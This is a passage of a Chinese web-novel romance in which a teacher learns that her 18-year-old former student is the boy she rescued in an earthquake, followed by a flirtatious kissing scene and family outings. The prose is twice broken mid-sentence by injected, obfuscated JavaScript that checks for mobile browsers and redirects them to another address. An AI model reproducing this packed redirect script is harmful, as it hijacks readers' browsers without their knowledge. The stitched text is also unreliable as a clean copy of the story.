蒋斯源:“直接拒绝好没礼貌,但她又不是我喜欢的类型,一看就比我年纪大。” 蒋一茉:“……” 蒋一茉瞪他,咬牙切齿道:“以后不愿意加就直说,再喊别人加我微信,别怪我当场扇你。” 蒋斯源笑笑,取下口罩,露出一张五官端正,晒黑之后又更添几份野性的脸。 偏偏他一笑又露颗小虎牙,狂野之余又有几分可爱阳光劲儿。 蒋一茉打量两眼弟弟,笑道:“你小子在学校挺多人追吧?” “也没多少,大概从成都排到这儿吧。”蒋斯源挑挑眉,挺嘚瑟。 他挑眉那个劲儿,跟蒋一茉便有些像。 “得了吧,别给我顺杆儿爬。”蒋一茉道,“高考发挥得怎么样?” 蒋斯源:“还行吧,自我感觉良好!” 蒋一茉点点头,一路东拉西扯地聊着。 到家后,她指了指自己卧室阳台,“呐,你这几个月就睡这儿。” 家里是两室一厅,蒋一茉住在带书桌的大卧室,文娟住小卧室。 文娟提前给儿子买好了床,就摆在蒋一茉卧室的阳台上。 阳台打扫得很干净,瓷砖锃亮,一米五的床刚刚卡进去,两侧没有一丝缝隙,只能从床尾上下。 蒋斯源把书包一丢,呈大字躺倒,高大健壮的身子占满整张床。 浅蓝色条纹四件套是蒋一茉和文娟一起给他挑的,崭新的被子洗过后残留一点薰衣草洗衣液的味道,被阳光晒过,更像是躺在薰衣草田里。 虽然被正午的阳光照得睁不开眼,少年依旧十分惬意。 蒋一茉靠在卧室通往阳台的小门上,说:“比起你自己带独卫的卧室差远了吧,委屈几个月哈,小少爷。” 蒋斯源抬手挡住阳光,睁眼道:“姐,我更喜欢这儿,真的,就只有一张床我也喜欢这儿,我更想跟你和妈一起生活。” 蒋一茉扬唇笑了笑。 蒋斯源闭上眼,又说:“等分数出来,如果能上北体,我一定留这儿。” 蒋一茉:“你先睡会儿午觉,睡醒我带你去店里找妈。” “嗯,空调给我调到18度。”蒋斯源翻了个身。 蒋一茉抬起一掌狠狠拍他大腿上,给亲弟疼得嗷嗷叫。 “刚来就使唤我?自己没长手?”虽然好多年没见,蒋一茉可不惯着他。 蒋斯源抱着腿,龇牙咧嘴:“还以为你这些年变温柔了呢,这么暴躁怎么给我找姐夫?” “要你管!”蒋一茉像被戳中心事儿,又拧了他一把解气,之后离开卧室。 “蒋一茉,谁教你的打完又拧,你到底是不是我亲姐!” 蒋斯源在床上疼得直打滚。 蒋一茉轻声哼哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你管我?反正我现在能谈了,光明正大的谈。”蒋斯源说。 蒋一茉:“我不会多管你闲事,但是你要谈个好姑娘,听见没?” 蒋斯源:“你呢,有没有给我谈个好姐夫?” 蒋一茉:“我又不着急。” 蒋斯源:“我也不着急,她还没毕业呢。” “哈!”蒋一茉一掌拍他背上,“说漏嘴了吧!” 蒋斯源五官都皱在一起,疼得不想讲话。 “你说没毕业是什么意思,你真的谈了?对方比你还小?你可别耽误人家学业!” 蒋一茉反应过来这事儿说小不小,说大还挺大一事儿,又是降龙十八掌打他背上。 “我招,我都招了行吧,我喜欢高二的一个学妹,表白失败,满意了吗,你还不去看看你锅里的水,别烧干了。”蒋斯源推她走。 蒋一茉去把火调小,下了面条,又跑回来,靠着阳台小门问:“人家为什么不喜欢你?” 蒋斯源沉默几秒,把手里枕头扔过去,气道:“因为我贱,这么多喜欢我的,我偏偏就看上那个不喜欢我的,行了吧?” “……”这话,让蒋一茉一愣。 她想起来纪复白,那么多女孩儿喜欢他,偏偏就要跟她纠缠,他是不是也会在心里骂他自己贱。 蒋一茉把枕头扔回去,笑道:“听到你的感情之路也如此坎坷,我就放心了,以后妈不会只逮着我一个人薅羊毛了。” 蒋斯源哼哼两声,抱住枕头假装呼呼大睡。 想到什么,蒋一茉拍了拍他,又说:“想想明天去哪里玩儿,后面我要上班,明天不出去的话,再想出去玩儿就要等下个周末我才有时间了。” 蒋斯源懒洋洋道:“没事,我在这边有朋友,你上你的班,他能带我玩儿。” 蒋一茉笑道:“人脉挺广啊,不会是什么王者荣耀搭子吧?见过面没,别是个小学生。” 蒋斯源睁眼看了看亲姐,不知想到什么,笑了笑又闭上,说:“我们说好了他今天晚点儿会过来找我。” 蒋一茉:“啊?来家里?” 蒋斯源:“嗯,没事,以前也经常来家里玩儿,你还特喜欢捏他那张小胖脸……” 蒋斯源说着说着彻底睡过去了。 23. 小白 蒋一茉吃完午饭,在沙发上又看会儿书,期间和王衍之聊了几句不咸不淡的微信。 四点来钟,她听到他弟跟人打电话的声音,聊着笑着,然后说你上来吧,我跟我姐都在家呢。 听到弟弟的朋友要来了,她合上书。 蒋斯源揉着头发,打着哈欠走来客厅,“姐,小白马上就上来。” “小白?!”蒋一茉回头,“哪、哪个小白?” 与此同时,敲门声响起,蒋斯源笑着去开了门,对着门外那人第一句话就是:“我去,我姐好像真不记得你了。” 门外少年无奈笑笑,走进门里,看眼傻掉的蒋一茉,换上她给自己准备好的拖鞋。 蒋斯源搭着纪复白的肩,对自己亲姐又再提醒一遍道:“姐,你应该还记得他吧,小白,纪复白。” 蒋一茉看眼纪复白,心虚地挪开视线,又摸了摸额头,问她弟道:“你们怎么会认识?网上打游戏认识的?” 蒋斯源眨了眨眼,“大姐,你失忆啦?” 这话妥妥地引来亲姐一巴掌,“叫谁大姐?” “姐,姐……”他摸着脑袋,眯眼笑。 “你们到底怎么认识的?”蒋一茉问。 纪复白这时道:“能坐着聊吗,练一天车,有点累。” “噢,坐吧。”蒋一茉说完,又腹诽:“练车也是坐着练,有什么可累的。” 纪复白等蒋一茉先坐好,这才紧挨她坐下。 好几天没见她,没碰过她,他都快疯了,此刻只是坐她旁边也满足。 又恨不得蒋斯源立刻原地消失,他好把蒋一茉抱怀里好好亲一亲。 蒋斯源在亲姐另一边坐下,想解释,看亲姐半天,又摇了摇头,说:“姐,你是不是那年经历地震之后,记忆重启了?” 蒋一茉:“什么意思?” 蒋斯源道:“小白是我发小啊!他8岁以前经常来咱家玩儿,后来大地震那天,你把他从塌成废墟的房子里背出来,你满身满脸的血,你都忘了?” 蒋斯源和文娟可不会忘记那一幕,当时都以为两人没了,结果看到蒋一茉把人背出来,纪复白没啥伤,她自己半死。 蒋一茉当然没失忆,地震那刻的感受,直到现在还记忆深刻。 不过她对纪复白小时候的具体长相有些模糊,只记得圆咕隆咚的,所以实在不敢相信那个“小白”就是这个“小白”。 那个小胖墩儿居然就是现在的超级大帅哥纪复白吗? 她转头看了看他,对方眼里一股幽怨,好像在问:你怎么能把我忘了呢,蒋一茉? 该说不说,这家伙真够会长的,这是找女娲开后门又重新捏了一遍? 果然胖子都是潜力股。 蒋斯源又道:“小白父母在那场地震去世,后来他就被家里其他人接回北京来了。我还跟他说过你也在这边,他说你不记得他了,我还不信,原来真的没认出来。” 蒋一茉:“谁能认出来?他小时候就跟个到处滚来滚去的小皮球一样……” 纪复白:? 蒋一茉脑子有点乱,起身道:“你们先坐,我去洗点水果。” 她想,原来是这样。 纪复白会喜欢上她,原来是因为认出来自己是曾经和他一起共渡难关的一茉姐姐。 因为曾经算是救过他一命,所以感激之情演化成了喜欢。 或者,现在也还是感激,只不过被他误当成了喜欢。 蒋一茉想不通,他是她14岁时拼尽全力救出来的小孩儿,怎么会和自己发展成现在这样? “小白”可以是任何一个小白,为什么偏偏是纪复白。 她想着这些,切着手里的西瓜,没注意那人早已跟着进来厨房。 直到背后靠上来男生的胸膛,她的细腰落在他有力的手臂间,肩窝被他下巴轻轻蹭着,想逃脱早已来不及。 “姐姐,昨晚睡得好吗?”他轻声道,“没有我的骚扰,这些天都睡得好吗?是不是偶尔也会想我,偶尔也会看看手机上有没有我发来的信息,偶尔睡前也会念一念我的名字,希望能梦见我?” 蒋一茉:“……” 说你自己呢吧。 蒋一茉看眼外面,低声道:“你先松开。” “就要抱。”纪复白有点小委屈,“你知道我这几天怎么过来的吗?以后可以不对我说‘滚’这个字了吗?我要是编字典的人,我就把它从汉语里删掉。” 蒋一茉说:“那也还有别的字可以替代。” 纪复白:“比如?” 蒋一茉:“爬。” 纪复白:“这个也删掉!通通都删了!” 蒋一茉听他幼稚的撒泼,忍不住浅浅笑了下。 看她笑,纪复白心里一紧,把她更深的揉按在怀里。 “你之前怎么不告诉我,你就是那个小白?”蒋一茉问。 纪复白道:“一是不想你特别照顾我,二是你显然没认出来,我也就不想提。”说着,又有几分无奈,“你竟然把我名字忘得一干二净。” 蒋一茉:“呃,我那时候好像只知道你叫小白吧……” 小时候周围所有人都只叫他小白,没人爱叫他大名。 纪复白:“我们当时被困在书桌底下,你抱着我,我一遍遍跟你说,我叫纪复白,让你不要抛下我,都不记得了?” 经他这样一提醒,蒋一茉又再想起来一点。 在那不见天日的令人窒息的狭窄空间里,他们被困了好几天。 彼时她意识模糊,倒霉催的,智齿也疼得厉害,仿佛有把锯子在来回拉锯她的意志。 她感觉死定了,又渴得要命,哪怕是马桶里的水也能毫不犹豫往下灌,她感觉不会有人来救他们了,备受折磨的神经如同一根钓鱼线那样细,下一秒随时都会“啪”地断开。 那时,耳边是有这么一个声音,那人摸着她脸,叫她不要抛下他,要记住他名字,要一起出去,出去他要当医生给她治牙疼。 在男孩子的哭喊里,她又挣扎着清醒过来。 为了让他别哭别怕,她看到压在废墟下自己那只兔子玩偶,于是往前爬过去,用力拔出来时,一只耳朵被扯掉,漏出一些棉花。 她把玩偶给他,让他一定活着出去,帮她把兔子缝好。 他说那你呢,她说自己也会活着出去,到时候去找他拿。 原来,纪复白枕头边那只兔子玩偶是她的,怪不得她看着眼熟。 她竟连这也忘了。 蒋一茉:“我好像想起来一些……” “不要想了,又不是什么美好的回忆。”纪复白打断她。 蒋一茉:“……” 是啊,她刻意忘记这些细节,就是因为那场地震对于他们来说太疼太疼,失去的太多太多,一点都不敢回想。 “所以你因此感激我而喜欢我?”蒋一茉继续切西瓜,快速地切成一块块,心里始终不是滋味。 “不是。”短短两个字,纪复白的语气却郑重且认真。 说完,又轻轻叹气,再道:“就知道你会这么想,所以我不想提这件事。我确实感激你,我还感激我爷爷我大伯他们呢,我感激的人多了去了,我也没对他们产生其他感情,所以这根本是两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361993|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回事。” “蒋一茉,这是两回事,明白吗?”他又一次重复。 蒋一茉停了动作,“你说两回事就两回事吗?有没有可能你自己也没搞明白。” “你又不信。”纪复白无奈,“那我要怎么证明,你才肯信我真的爱你,真的想和你在一起,想和你结婚,想每天早上睁眼第一个看到的人是你?” 蒋一茉:“……” “别人说什么你都当回事,到我这儿,你什么都不信。就因为我年纪比你小,就因为我曾经是你学生。” 他语气并不激动,反而不疾不徐,听着更觉悲伤。 “可是明明我跟你相处的时间更多,我们认识的时间更长,我是什么人我以为你多少也了解,你就宁愿选择他们,也不要我?” 到这句,已然透着些悲痛和无力。 蒋一茉始终沉默。 当心里的天平有一点偏向时,理智就持续地扔砝码上去。 家庭码,事业码,年龄码,周围闲言碎语码…… “不用想那么多,”纪复白似乎感觉到什么,扯了张湿纸巾,慢慢帮她擦手上的西瓜汁,“他们说他们的,我会捂住你耳朵,我会比他们声音更大地说‘我爱你’给你听,我会叫他们闭嘴,滚远一点,我会努力变得更强大,让他们不敢再乱说话。” 停了停,他略微叹了口气,才又继续道:“你完全不需要自卑,事实上,我才是自卑的那个,我现在什么也没有,我除了一直跟你说我爱你,我也不知道我能拿什么跟别人争。” 他把她手指一根一根地擦干净,说:“但我相信,只要我们彼此相爱,什么都不是问题。” 蒋一茉:“那如果不爱了呢?” 纪复白:“你也许会不爱我,但我永远都会爱你,蒋一茉。” 纪复白像一团熊熊燃烧的火焰,不管不顾蔓延开来。 蒋一茉心说这家伙疯了。 他怎么可以说得这么认真,这么坦荡,这么笃定? 他不考虑别人怎么看吗,不考虑日后会面临到的各种各样的诱惑吗,不考虑也许跟她在一起后,发现她原来不是他想象那样,他们根本不合适吗? 她此刻的心跳如同鼓声震耳,每震一下,眼前所有一切都跟着晃。 然而这里是不会地震的。 在动摇的,只是她的心而已。 她低下头,看着被包在男生手掌里的双手。 她的手有些凉,汁水擦干净后,他一直紧握,给她暖着。 直到听见蒋斯源过来的脚步声,纪复白才放开蒋一茉,背靠在旁边的灶台边,无事发生般拿水果叉插了块西瓜吃。 蒋斯源也过来插了块瓜吃,笑说:“我说你来厨房干什么,原来偷吃西瓜来了。” 纪复白笑笑,转头看向蒋一茉:“顺便跟茉茉姐叙叙旧。”又把她拿起来的刀夺过来放下,“不切了,够了。” 蒋一茉:“……” 蒋斯源看了看他俩,觉得两人之间氛围不对,说:“我怎么感觉你俩不像是很久没见呢?” 蒋一茉问纪复白:“你没跟他说过,我之前是你老师的事儿?” 纪复白道:“你都不记得我了,这事儿也没什么可说的。” 蒋斯源唰地瞪大了眼睛,“我靠,什么孽缘!” 这话又招来亲姐右手对他脑袋的友好问候。 蒋斯源摸着被打疼的脑袋抱怨:“小白,你没毕业前,在你蒋老师这儿也吃了不少苦吧?” 纪复白摇摇头,笑道:“她很喜欢我。” 话音刚落,他后脑也结结实实挨了一掌。 24. 想念 三人吃完西瓜,出门去文娟的店里。 文娟见到纪复白,知道就是小时候经常跟蒋斯源来家里的那个“小白”,激动地拉着他一阵嘘寒问暖。 她说怎么转眼间就长这么大了,又说那年地震真是把他们都吓死了,又说起纪复白亲生父母,文娟湿了眼眶。 蒋一茉在整理货架,回头道:“好了,妈,不说以前那些事了。” 文娟抹了抹眼角,问纪复白:“你怎么上回来的时候不说呢?” 纪复白笑了笑:“我怕我说了您也不信。” 文娟又再打量他两眼,“还真有可能,你现在跟小时候比简直大变样,小时候胖乎乎的,在你一茉姐床上睡午觉,经常睡的时候在床头,一会儿就滚到床尾去了。” “……”纪复白摸摸后脑勺,被说起小时候的事,有几分不好意思。 不过他挺爱听,因为后来,没有人再跟他说起过那段时光,没有人再帮他回忆过小时候的事。 原本这些,应该是父母来讲,他却没有父母了,连同那段时光也好像随他们一起被埋葬在废墟下了。 文娟看眼时间,说今天早点关店回家,给小白做点好吃的,她记得小时候他最喜欢吃红糖糍粑,又问他现在还喜欢吃吗? 纪复白点头,脸上绽开笑:“我爱吃,文姨。” 蒋一茉道:“妈,家里哪儿有糍粑?” 文娟一愣,“哎哟,还真是,家里没有糍粑。” 纪复白:“……” 看纪复白被晃了一道,蒋一茉扶着货架大笑起来。 看她笑,纪复白也跟着笑:“没事,文姨,别的我也爱吃。” 文娟拍拍他肩,说:“下次吧,下次阿姨去买点回来,再做给你吃,今天咱们吃点别的。” 她看眼时间,说自己先回去做饭,做好了喊他们,让三个小孩儿到时候再关店回来吃饭。 文娟走后,蒋一茉指挥纪复白和亲弟搬了三把椅子到门口,三人坐在椅子上,一人拿一罐养乐多喝着。 太阳下山,温度也下去几分,吹着夏日傍晚的微风,喝着甜甜饮料,脸上都有几分惬意。 纪复白两三口就喝完手里半个巴掌大的一瓶养乐多,喝完后,看蒋一茉咬着吸管发呆,伸手抢过来,含住吸管帮她喝完剩下的。 蒋一茉刚想发作,想起来亲弟在旁边,拿余光瞥了眼,见蒋斯源注意力都在手机上,松口气,咬唇瞪了瞪纪复白。 纪复白只是笑,右臂搭在躺椅扶手上,手掌垂下,修长食指微微抬起,指尖摸上旁边白皙手背,漫不经心地打着圈儿。 蒋一茉被他这点小动静搞得起了一身鸡皮疙瘩,收回手,站起来,回店里库房清点货物去。 上回来的货还有一些堆在地上没整理,她借着库房昏暗的一枚小灯泡看清标签后,把它们分门别类地摞在一起。 有一些不常补充的货在架子上存放得比较高,她懒得出去搬凳子,举着箱子,垫起脚,想往里面一点点蹭进去。 这时,身后有脚步声响起,她刚要回头,已被男生一手轻松抱了起来。 “不知道找人帮忙的笨蛋姐姐。”纪复白笑她道。 “……”蒋一茉把箱子放好,“好了,放我下来吧。” 纪复白抱着她往前走了两步,把人放在摞起来的两个大箱子上,这下高矮跟他个头差不多。 “把我放这儿干什么?” 蒋一茉想下去,纪复白掰开她膝盖往前一挤,又托住她腰往怀里按,她虽坐着,倒更像骑在他腰上,腹肌扎实坚硬,堵死出路。 想到弟弟还在外面,她赶紧把人往外推,可腰身的掌控权在对方两只大手里,任她如何用力,只要他不肯放,两人的身子依然紧密贴合纹丝不动。 “纪复白,我要生气了……唔……” 眼镜被丢在一旁纸箱上,剩下的教训吞没在忘情的唇齿间。 男生骨节明晰的手指插入顺滑的黑发,舌尖有力而霸道,一会儿缠着她的舌逗弄,一会儿又埋首舔舐脖颈和耳垂……各处侵入,留下名叫“纪复白”的痕迹,每一笔写满了想念。 仔细算来,也只是三四天未见而已,他却觉得过了三四年那么长久,对蒋一茉的思念把每一秒都拉得无限漫长,感觉自己都老了。 他学什么都快,吻技飞速进步,一下索取,一下给予,用情浓烈,给她毫无保留的炽热爱意……蒋一茉的防线在崩溃,在垮塌,在无力地坚守。 纪复白一边吻着,一边身子慢慢往下,作势要把怀里女人压倒在纸箱上。 蒋一茉不肯,直挺着腰腹与他对抗,在唇上稍微松懈的间隙,颤着细软尾音求饶:“脏啊,别搞我了,纪复白。” 纪复白一手撑着自己,一手按在她背上给她一点支撑,嗓音带点难以自持的微哑和蔫儿坏:“那就抱紧我。” “……”蒋一茉心一横,双臂搂紧他脖子。 一个小小动作,纪复白浑身都酥,小腹也紧,不自主地按着她腰往前顶。 夏天的裤子布料都轻薄,假动作不仅不解馋,反而使他脑子里那根弦更加绷不住。 两个大箱子摞起来的高度相当合适,使得两人精准匹配,明明就在眼前,却吃不到,撩得人全身都燥热,手心里也汗津津的。 他拿过蒋一茉的手,带她伸进自己T恤里面,摸上紧实腹肌,流连一阵,又引导至挺括胸肌,软糯指尖无意中贴着他锁骨划过。 他压低哑嗓,嗓音里含一点蛊惑暧昧的轻笑:“姐姐好会摸,姐姐真的不想睡18岁的我吗?” 紧接又变了一副更为低缓危险的语气:“可是,我好想睡你,茉茉,接下来,是不是该换我摸你了?” 蒋一茉要躺不能躺,想起起不了,被他弄得已是腰酸背痛,手上掐了一把他硬朗的腰腹肌肉,“你敢!” 轻微的痛感,使得纪复白越发兴奋,在她唇上发泄,吻得更加深入,腰也更用力堵着她。 等攻势转缓后,他轻啄着微肿的粉软唇瓣问她:“蒋一茉,你说,我跟谁最搭?” 蒋一茉眉心动了动,看向一边,不回应。 纪复白又再压低一点身子,感受对方抱自己更紧,鼻尖轻蹭她鼻尖,不紧不慢道:“继续沉默,沉默到你弟弟进来,给他看看我们在做什么?” 蒋一茉:“……” 蒋一茉想咬死他。 蒋一茉:“我,你跟我最搭,好了吗?” 纪复白满意地笑笑,在她软乎乎的脸蛋上用力嘬了下:“乖姐姐。” 他这才不玩儿了,终于肯把她从箱子上抱下来。 蒋一茉的双脚又站到踏实的地板上,却还有悬空感,像走在棉花上,每一步轻飘飘软绵绵,甚至左脚绊右脚差点摔一跤,被纪复白及时拉住,没摔地上,倒是摔在他怀里。 蒋一茉:“……” 蒋斯源正好进店,想问是不是该回去了,撞见这一幕,笑道:“姐,怎么还平地摔呢?两瓶养乐多就给你干醉了?” 蒋一茉瞪他一眼,回头,又瞪纪复白一眼,感觉两只眼睛都不够用了,恨不得全身都是眼睛,瞪死他。 想想那画面,又觉得怪惊悚,她甩甩头,没好气道:“关店!走人!” 纪复白和蒋斯源在指挥下关好店面,一左一右跟着蒋一茉回家。 文娟正在炒最后一个菜,刚说要给他们打电话,见他们回来了,叫赶紧洗手吃饭。 四人围坐一桌,喝着从店里拎回来的一提啤酒。 本来只是助兴用,蒋一茉却一边托脸听着文娟讲他们三个小时候的事,一边把自己喝得微醺。 她一喝多就上脸,脸上两团绯红,鼻尖也红,耳朵也红,下巴尖儿也染点红晕,一双眼睛水汪汪又带点迷离,不再躲闪,一个劲儿盯着对面纪复白。 纪复白也回望她。 视线的纠缠,像在接一场隐形的吻,目光扫过的地方,都好像被亲吻爱抚过,一阵灼热。 蒋斯源掏出手机给蒋一茉拍照,笑道:“姐,你怎么一喝多,脸就红得跟猴子屁股一样 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文娟笑道:“小白,你别介意,你一茉姐她喝多了。” 纪复白:“不会,阿姨,其实就算挂墙上我也想留下来多跟你们待一会儿,但是,明天我大伯……也就是我爸妈,他们从上海过来,所以今晚就不留宿了。蒋斯,扶你姐去睡吧。” “噢。”蒋斯源抱一只胳膊,把蒋一茉扶起来,蒋一茉指着卫生间方向道:“先扶我去洗漱……” 纪复白最后看眼蒋一茉,又再跟文娟打过招呼,换鞋出门,下楼回家。 他在附近便利店买了两板养乐多,独自回到空寂的家,把养乐多放到冰箱里,又拆了一只,边喝着边上楼回卧室。 走到书桌旁时,养乐多已经喝完,他放下空瓶,坐在一边,盯着小小一只瓶子看了一会儿,翻开手边一个笔记本。 【从今天起,每喝空一瓶养乐多,是不是就相当于跟你接过一次吻了,蒋一茉?——纪复白】 纪复白用蒋一茉送他的钢笔静静地写下这句话,合上本子。 那是一本他专门定制的深蓝色的硬壳笔记本,封面上大片留白,只在正中靠右位置有一行白色印刷小字,虽然是印刷,用的也是他的字体。 他给这本笔记本命名为——《养护茉莉手册》 - 蒋一茉洗漱完,脸上冷却不少,也舒服多了。 其实她没怎么喝醉,只是沉迷于那种微醺的感觉。 那种,清醒地看着自己发癫的感觉。 蒋斯源把他姐扶上床,又去帮妈洗碗,最后洗完澡,换上一身睡衣才回到卧室。 他顺便给她姐倒了杯水放在床头,蒋一茉突然睁眼,给他吓了一跳。 “我靠,你没睡着啊?”蒋斯源差点把杯子都摔了,“你下次睁眼能不这么恐怖吗,慢慢地睁开行不行?” 蒋一茉:“怎么慢慢睁,你给我个示范?” 蒋斯源闭上眼给她做示范,两只眼睛却看起来像抽筋似的,人也像个大傻子。 蒋一茉在床上滚来滚去地笑,“你脑子是什么时候被人摘掉的哈哈哈哈哈……” 蒋斯源撇撇嘴,回自己床上睡觉。 蒋一茉突然又叫住他,语气认真:“源源,” “嗯?”蒋斯源人在自己阳台的小卧室,探个头出来。 蒋一茉盯着天花板,问他:“你喜欢过,不能喜欢的人吗?” 蒋斯源想也没想:“哪有什么不能喜欢的人,天王老子我也敢喜欢。” 一想,哪里不对劲—— “不对,老子是直男,天王老娘我也敢喜欢!” 蒋一茉叹口气,嘀咕道:“问你算问对人了。” 蒋斯源:“夸我还是阴阳我呢?” 蒋一茉:“当你听不出来的时候,答案通常是后者。” 蒋斯源:“……” 25. 心跳 蒋一茉第二天收到群里消息,突然要给他们放几天假。 说是体育场馆装修,唐老头借机去协调了几个工人,打算把领导办公室也小装一下,顺带把外面大办公室也粉刷一遍。 他在群里发通知,有什么贵重的东西可以回去拿,没有就不用去了,到时候会铺上防尘布,叫大家不用担心,等弄好了提前群里发通知叫大家回去。 有人在群里开玩笑,说等刷完漆不如直接通风通到7月,正好接着放暑假,等到9月开学味道就散得差不多了。 算盘打得啪啪响。 一堆老师附议,他们私下的群没什么大领导在里面,大家都比较活跃。 蒋一茉也回了个+1,心说能一气儿放到九月可太好了,只不过中考监考肯定还是跑不掉。 唐老头说买的是好漆,零甲醛,叫大家不用担心。 蒋一茉在心里回了一串省略号,丢开手机,打算睡个回笼觉,她弟这时突然敲了敲小阳台的门。 她抬头,蒋斯源把门推开:“姐,出去玩儿吧,去国博,我打算买俩冰箱贴去。” 蒋一茉闭眼倒下:“你不知道去国博要提前预约吗?而且那冰箱贴要一大早去排队拿号才有机会买到。一点攻略都不做,一看就不用心,就你这样怎么追得到女孩子?” 蒋斯源一愣,挠了挠头,“你怎么知道我想买来送女孩儿?” 蒋一茉哼哼两声,“说你不用心呢,你又想亲自去买,说你用心,你又不知道提前查一查怎么买。” 蒋斯源说:“我哪儿知道,我来之前听都没听说过,以为就是一个普通冰箱贴,文创店里到处都有的那种,这么看来还蛮紧俏,长什么样啊,我搜搜。” 蒋一茉从枕头下摸出纪复白给她买的那两个冰箱贴,一手拿一个朝他炫耀:“不用搜了,呐,我这儿就有正版,过来瞻仰吧。” 蒋斯源走过去,盘腿坐他姐床上,拿着两个冰箱贴仔细地看。 “嘿,这俩小玩意儿是挺精致,”他说,“你分我一个?” 蒋一茉:“……” 蒋斯源:“我花两倍,不,我愿意花原价的三倍买入,怎么样?” 蒋一茉:“你对女孩儿的心思,就值这区区几百块钱?” 蒋斯源“嗤”地一声笑:“你少趁这机会敲我竹杠,别以为我还会跟小时候一样愚蠢,会上你的当。” 蒋一茉撑起脑袋,看着他:“自己排队买给她不是更有意义?” “……” 见亲弟听了这话沉吟着,她以为他真打算抽时间去排队了,却听见他说:“上咸鱼找个代排吧,到时候就说我排的,都一样。” “什么?代排?”蒋一茉皱眉,对这词汇有点陌生。 “找人帮你排队,这都不知道,你是真老了。”蒋斯源已经打开App,下一秒被他姐踢下了床,差点摔一跤。 蒋一茉爬起来,把自己那两个冰箱贴夺回来,重新躺下:“去去去,一边儿去,你老姐姐我还要睡呢,别吵我。” 蒋斯源见她把冰箱贴塞枕头底下,感觉哪里怪怪的,也准备回去再躺会儿时,突然反应过来哪里不对,回身说道:“冰箱贴冰箱贴,不贴冰箱上,你塞枕头底下干什么?” 蒋一茉默了三五秒,闭着眼静静道:“如果,你喜欢的那个女孩儿也喜欢你,你送她的冰箱贴,她也会像我一样,不舍得贴在冰箱上,而是塞在枕头下。” 蒋斯源笑说:“你以为谁都跟你一样,有把喜欢的东西都塞枕头底下的习惯?” 蒋一茉:“那也比你把零花钱都塞臭袜子里强。” 蒋斯源:“……什么年月的事了,还讲,那时候不是怕被你搜刮出来给自己买花蝴蝶发夹去吗,只有藏袜子里你才不敢翻。” 蒋一茉:“……” 蒋斯源见她不说话了,自己也回去躺下,突然想到什么,又蹭的一下爬起来,敲两下他们中间隔着的一扇窗户玻璃。 蒋一茉拉开里面的窗帘:“又干嘛?” 蒋斯源道:“你是说,你那冰箱贴是你喜欢的人送的?你有喜欢的人了?我要有姐夫了?” 蒋一茉:“……” 什么反射弧,绕地球一周了吧。 蒋斯源:“他是不是也找的代排,他找的应该比较靠谱,叫他给我推个联系方式?” 蒋一茉拿枕头隔着窗户砸了他一下,拉上窗帘,继续睡觉,不再理会。 她把手伸到枕头底下,握着冰箱贴,忽然觉得,它们能来到她身边,背后那人付出的心意,无比珍贵。 蒋一茉上午一直睡觉,下午蒋斯源要出去玩儿,她又嫌太热。 等到太阳下山,蒋斯源终于听亲姐说要带他出去玩儿,他纳闷儿都这个点儿了,住在五环以外还能去哪个景点,总不能去爬长城吧,长城能晚上爬吗,晚上看得见路吗,周围黑黢黢的也没什么可看的吧,他对这些都不清楚。 抱着也许有惊喜的想法,他一声不吭乖乖跟着亲姐绕了一大圈,还被街边认识她姐的商铺熟人一会儿问是新交的男朋友吗,一会儿又调侃是哪里请的保镖吗…… 最后,他站在自家杂货店门口,看着招牌“一斯零售”眨巴眼。 蒋斯源:“……………………” 店里有什么可玩儿的!!! 蒋一茉说:“你这什么哀怨表情,我这是在告诉你,有妈妈在的地方,才是这个世界上风景最美的地方。” 这话倒把文娟哄乐了。 蒋斯源扯过蒋一茉耳朵,直接换成都话大吼:“我!要!出!切!耍!” 蒋一茉:“……” 蒋一茉感觉一阵耳鸣。 她揉了揉耳朵,“好了好了,今晚请你吃烤鸭,行吧?” 蒋斯源:“是全北京最火爆,最多人排队那家吗?” 蒋一茉:“当然了,我敢随便找个店糊弄你吗?蓉城蒋少?” 蒋斯源说他才不信,又说:“你现在才说去吃,到那儿还得排队,几点才能吃上?” 蒋一茉:“我不知道找个代排吗?” 蒋斯源愣了一下,爆笑:“好好好,学得够快的!”又说:“姐,下回你可得自己亲自排队请我吃,更有意义。” 蒋一茉:“……” 看她吃瘪,蒋斯源乐不可支道:“所以说嘛,什么意义不意义的,现在这个社会,大家时间都很宝贵的,有这种资源就得会利用……” 蒋一茉撕开一包薯片,堵在她弟脸上:“少嘚啵嘚了,吃你的。” 因为要出去吃,文娟早早关了店。 关店时还问要不要叫上小白,说:“人家昨天在这儿的时候不请人家出去吃,今天不在,我们自己却跑外面下馆子去。” 蒋一茉赶紧道:“下次吧,今天是家宴,就别叫他了。” 蒋斯源说:“那要不叫上姐夫?” 蒋一茉问什么姐夫。 蒋斯源冲她挑眉:“你说呢?” 文娟也问他在说什么姐夫,哪儿来的姐夫。 蒋斯源想说那冰箱贴的事儿,“冰”字才出口,嘴里猛地塞进一只棒棒糖,给他一下堵住。 他拿出来,皱眉道:“蒋一茉你好歹把包装纸去了吧!” 文娟伸手笑道:“拿来,妈帮你剥。你小时候就不会剥这玩意儿,只会用牙咬,那时候又碰上换牙,牙都不知道崩掉多少颗,全家人满屋子帮你找牙,你姐眼睛最尖……” “姐夫”的话题就此打住,蒋一茉松口气。 - 到了地方,正巧排到他们的号。 更巧的是,他们刚跟着服务员进店,就撞见纪复白爸爸。 纪烽一眼认出蒋一茉,喊道:“蒋老师?” 蒋一茉赶忙回应:“纪先生,好巧,在这儿遇见您。” 这是不是说明,纪复白就在附近? 她快速扫视一圈大堂。 “这是你家人?你们也来这儿吃饭?要不然来我们包厢一起吃,小白也在。”纪烽邀请道。 蒋一茉顺势跟他介绍了文娟和蒋斯源,也跟后者介绍了纪复白爸爸。 